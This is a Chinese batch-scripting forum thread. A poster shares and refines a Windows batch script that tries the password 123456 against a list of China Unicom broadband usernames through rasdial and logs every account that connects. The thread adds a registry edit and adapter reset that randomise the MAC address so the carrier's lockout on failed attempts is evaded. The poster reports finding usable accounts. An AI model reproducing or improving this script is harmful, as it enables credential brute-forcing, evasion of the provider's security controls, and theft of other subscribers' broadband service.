[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[网络连接] 宽带检测批处理如何修改MAC,破解联通拨号限制?

本帖最后由 lionwick 于 2013-4-2 19:56 编辑

以前检测账号不限制错误次数,所以检测了很多账号,但现在基本上都被联通发现并禁用了,现在再重新检测账号时发现联通做限制了,错误一定次数后,联通禁止同一MAC地址在一定时间内(约12个小时)继续拨号了,我发现修改MAC地址后就可以再继续拨号。

所以我想请大神帮个忙,就是检测到拨号错误代码:676:电话占线,就随机修改MAC地址,再继续检测下一个账号。我的代码如下:
  1. @title 免费上网
  2. @echo off &setlocal enabledelayedexpansion
  3. del 免费宽带账号.txt /q /f >nul
  4. set userfile=zh.txt
  5. set pppname=kdsm
  6. set outfile=免费宽带账号.txt
  7. echo.&echo         ================================================================
  8. echo.&echo             正在扫描中,你可以做点其他的事情,可以最小化这个窗口!
  9. echo.&echo                     但千万不可关闭这个黑色的窗口!
  10. echo.&echo                     扫描完毕后此窗口会自动关闭的!
  11. echo.&echo         ================================================================
  12. goto :pass1userx
  13. :pass1userx
  14. set pass=123456
  15. call :check0
  16. for /f "tokens=*" %%a in ('type "%userfile%"') do (rasdial "%pppname%" %%a %pass% >nul &set user=%%a& call :check1)
  17. goto :exit
  18. :exit
  19. rasdial %pppname% %user% %pass% >nul
  20. exit
  21. :check0
  22. rasdial|find "已连接">nul
  23. if %errorlevel% equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do (rasdial "%%a" /d >nul&goto :eof)
  24. goto :eof
  25. :check1
  26. rasdial|find "已连接">nul
  27. if %errorlevel% equ 0 echo>>"%outfile%" %user%
  28. rasdial %pppname% /d >nul
  29. goto :eof
复制代码
这是我找到的随机修改MAC后5位的代码,请大神看看如何:
  1. set/a mac=%random%+10000
  2. set mac=000C29F%mac%
  3. set nic=本地连接
  4. reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001" /v "NetworkAddress" /t reg_sz /d %mac% /f
  5. netsh interface set interface name="%nic%" admin=disable
  6. netsh interface set interface name="%nic%" admin=enable
复制代码

联通的弱口令账号还是蛮多哦。移动和电信的没有试过。。。

TOP

最后修改成的代码是这样的:
  1. @title 要免费上网吗?请加我的QQ:297393770
  2. @echo on &setlocal enabledelayedexpansion
  3. del 免费宽带账号.txt /q /f >nul
  4. set userfile=zh.txt
  5. set pppname=kdsm
  6. set outfile=免费宽带账号.txt
  7. echo.&echo         ================================================================
  8. echo.&echo             正在扫描中,你可以做点其他的事情,可以最小化这个窗口!
  9. echo.&echo                     但千万不可关闭这个黑色的窗口!
  10. echo.&echo                     扫描完毕后此窗口会自动关闭的!
  11. echo.&echo         ================================================================
  12. goto :pass1userx
  13. :pass1userx
  14. set pass=123456
  15. call :check0
  16. for /f "tokens=*" %%a in ('type "%userfile%"') do (rasdial "%pppname%" %%a %pass% >nul &set user=%%a& call :check1)
  17. goto :exit
  18. :exit
  19. rasdial %pppname% %user% %pass% >nul
  20. exit
  21. :check0
  22. rasdial|find "已连接">nul
  23. if %errorlevel% equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do (rasdial "%%a" /d >nul&goto :eof)
  24. goto :eof
  25. :check1
  26. rasdial|find "已连接">nul
  27. if %errorlevel% equ 0 echo>>"%outfile%" %user%
  28. rasdial %pppname% /d >nul
  29. set/a mac=%random%+10000
  30. set mac=00238B7%mac%
  31. reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0009" /v "NetworkAddress" /t reg_sz /d %mac% /f
  32. devcon disable net PCI\VEN_10EC
  33. devcon enable net pci\VEN_10EC
  34. ping -n 1 127.0.0.1>nul
  35. goto :eof
复制代码
自己动手丰衣足食。。。。。。。。。。。。。。

TOP

  1. netsh interface set interface name="%nic%" admin=disable
  2.     netsh interface set interface name="%nic%" admin=enable
复制代码
上面这两行是在XP下无效的。

在微软下了个小东西:devcon。
用这个可以禁用和启用本地连接。
  1. reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001" /v
复制代码
这行代码中的0001要根据自己电脑中的实际情况修改。我电脑中是0009.

TOP

蛋疼,问题还是蛮多,不过退而求其次,不检测错误代码了。直接每检测一个账号就更换一次MAC。找到几个可用账号了。

TOP

为啥不试试呢...

TOP

回家试一下。

TOP

本帖最后由 lionwick 于 2013-4-2 11:51 编辑

这样有用吗?请大神指点?
  1.     @title 免费上网
  2.     @echo off &setlocal enabledelayedexpansion
  3.     del 免费宽带账号.txt /q /f >nul
  4.     set userfile=zh.txt
  5.     set pppname=kdsm
  6.     set outfile=免费宽带账号.txt
  7.     echo.&echo         ================================================================
  8.     echo.&echo             正在扫描中,你可以做点其他的事情,可以最小化这个窗口!
  9.     echo.&echo                     但千万不可关闭这个黑色的窗口!
  10.     echo.&echo                     扫描完毕后此窗口会自动关闭的!
  11.     echo.&echo         ================================================================
  12.     goto :pass1userx
  13.     :pass1userx
  14.     set pass=123456
  15.     call :check0
  16.     for /f "tokens=*" %%a in ('type "%userfile%"') do (rasdial "%pppname%" %%a %pass% >nul &set user=%%a& call :check1)
  17.     goto :exit
  18.     :exit
  19.     rasdial %pppname% %user% %pass% >nul
  20.     exit
  21.     :check0
  22.     rasdial|find "已连接">nul
  23.     if %errorlevel% equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do (rasdial "%%a" /d >nul&goto :eof)
  24.     goto :eof
  25.     :check1
  26.     rasdial|find "电话占线">nul
  27.     if %errorlevel% equ 0 call :macxg
  28.     rasdial|find "已连接">nul
  29.     if %errorlevel% equ 0 echo>>"%outfile%" %user%
  30.     rasdial %pppname% /d >nul
  31.     goto :eof
  32.     :macxg
  33.     set/a mac=%random%+10000
  34.     set mac=000C29F%mac%
  35.     set nic=本地连接
  36.     reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001" /v
  37. "NetworkAddress" /t reg_sz /d %mac% /f
  38.     netsh interface set interface name="%nic%" admin=disable
  39.     netsh interface set interface name="%nic%" admin=enable
  40.     goto :eof
复制代码

TOP

返回列表